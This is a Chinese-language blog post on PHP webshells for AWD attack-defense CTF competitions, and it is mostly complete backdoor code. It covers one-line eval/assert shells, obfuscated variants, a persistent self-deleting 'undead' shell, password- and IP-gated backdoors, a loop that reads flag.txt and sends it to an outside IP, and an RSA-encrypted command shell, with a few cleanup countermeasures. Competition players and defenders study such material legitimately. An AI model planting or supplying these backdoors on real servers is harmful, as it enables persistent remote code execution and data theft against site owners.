1. 程式人生 > >AWD模式下的各類PHP木馬

AWD模式下的各類PHP木馬

經典一句話木馬

最最常見的PHP木馬,經典,但也滿足不了我們的需求,很容易被大佬識破

<?php @eval($_POST["cmd"]); ?>
<?php @assert($_POST['cmd']);?> 

 

 

混淆馬:讓木馬內容難以識別

<?php assert($_POST[-7]); ?> 變換成

<?php                

@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';                  

@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';                  

@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}                  

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

 

$_POST[0]($_POST[1]);  變換成

<?php  

@$_++; // $_ = 1  

$__=("#"^"|"); // $__ = _  

$__.=("."^"~"); // _P  

$__.=("/"^"`"); // _PO  

$__.=("|"^"/"); // _POS  

$__.=("{"^"/"); // _POST  

${$__}[!$_](${$__}[$_]); // 

?> 

 

不死馬:

哪怕被發現也很難被清除

<?php

set_time_limit(0);   //PHP指令碼限制了執行時間,set_time_limit(0)設定一個指令碼的執行時間為無限長

ignore_user_abort(1);  //ignore_user_abort如果設定為 TRUE,則忽略與使用者的斷開,指令碼將繼續執行。

unlink(__FILE__);     //刪除自身

while(1)

{    

    file_put_contents('shell.php','<?php @eval($_POST["password"]);?>');  //建立shell.php

    sleep(0);    //間隔時間

}

對付這種木馬,目前最有效的辦法就是重啟PHP伺服器。

但在awd模式下,一般無許可權,

可以通過不斷複寫shell.php來達到該木馬難以被使用的效果。

<?php

set_time_limit(0);   // 取消指令碼執行時間的超時上限

ignore_user_abort(1);  // 後臺執行


while(1)

{    

    file_put_contents('shell.php','11111111');  //建立shell.php

    sleep(0);

}

 

也可以用bash命令,不斷刪除該木馬檔案

while : ;do rm -rf xxx; done;

 

 

MD5驗證木馬:

比賽時有的隊伍批量種馬,但被攻擊的服務卻可以通過分析本地的木馬,然後去連線其他伺服器內的相同木馬獲取flag。

md5驗證木馬由此產生。防止其他隊伍進行分析。

<?php

i f(md5($_GET['key1'])==="202cb962ac59075b964b07152d234b70")

{

    @eval($_POST['key2']);

}

?>

接收key1的值進行MD5,然後比較,相同才執行key2的命令

 

菜刀使用方式  http://x.x.x.x/shell.php?key1=123 密碼是key2

一般使用方式  http://x.x.x.x/shell.php?key1=123&key2=命令

 

IP驗證木馬:

MD5馬相對普通馬,安全性有了一定提升,但並不能完全杜絕其他隊伍的利用。一些隊伍可以在php頁面內包含waf,抓取流量來獲取木馬的利用url,可以看到連線小馬獲取flag的引數。經過復現後,同樣能獲得flag。於是,我就自然而然的想到了識別ip的php馬。

<?php

$ip="x.x.x.x"; //自己的ip

if ($_SERVER['REMOTE_ADDR']===$ip)

{

    @eval($_POST["cmd"]);

}

 

 

 

php回彈木馬:

後來我又想到另外一種隱蔽的方式,讓被攻擊端主動傳送flag到我的伺服器,同時也只在後臺悄悄的執行。

<?php 
    set_time_limit(0); // 取消指令碼執行時間的超時上限
    ignore_user_abort(1);  // 後臺執行
    unlink(__FILE__);    //刪除本檔案
	
    while(1){
        $file="flag.txt";  //設定要讀取的檔案
        $flag=file_get_contents($file);
		
        //在自己的計算機上開啟伺服器,輸入ip讓其訪問。並建立一個php記錄訪問的值,jiflag
        $url="http://192.168.50.1/jilu.php?flag=".$flag;
        $html=file_get_contents($url);
	
        sleep(10);}
?>

 

 

RSA公鑰加解密木馬

伺服器端的php木馬負責接收攻擊端的指令並執行,將執行結果公鑰加密後發回,哪怕別人抓流量復現也只能得到加密後的結果。在此,我只給出服務端的php程式碼:

<?php



class Rsa

{

    public $private_key = '';

    public $public_key = '-----BEGIN PUBLIC KEY-----

MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/

RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334

lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l

qnEzo5bRNM0IL5ixAgMBAAE=

-----END PUBLIC KEY-----';


    public $encrypted = '';

    public $decrypted = "";

    public $data = '';



    public function init($file)

    {

        $this-> data = file_get_contents($file);

        return $this->data;

    }

    public function encrypt($data)

    {

        openssl_public_encrypt($data,$encrypted,$this->public_key);//公鑰加密

        $encrypted = base64_encode($encrypted);

        return $encrypted;

    }


    public function decrypt_cmd($c)

    {

        print $c;



        openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私鑰加密的內容通過公鑰可解密出來

        echo "\n";

        echo "public key decrypt:\n";

        print $decrypted;

        echo `$decrypted`;

        #passthru($decrypted);

    }


    public function publicDecrypt($data, $publicKey)

    {

        openssl_public_decrypt($data, $decrypted, $publicKey);

        return $decrypted;

    }


}

function publicDecrypt($data, $publicKey)

{

    openssl_public_decrypt($data, $decrypted, $publicKey);

    return $decrypted;

}



@$i = $_GET['i'];

$rsa =new Rsa();




#1是直接讀flag檔案

if($i==1)

{

    $flag_path="flag";

    $data1=$rsa->init($flag_path);

#print  $data1;

    $data2=$rsa->encrypt($data1);

    print $data2;

}


#2是執行命令

if($i==2)

{

    @$c = $_GET['c'];

    $cmd = base64_decode($cmd);

    $a=`$cmd`;

    $a2=$rsa->encrypt($a);

    echo $a2;

}

?>

 

參考:

那些強悍的PHP一句話後門

http://www.freebuf.com/articles/web/9396.html

 

微信jjinchengg歡迎各位大佬交流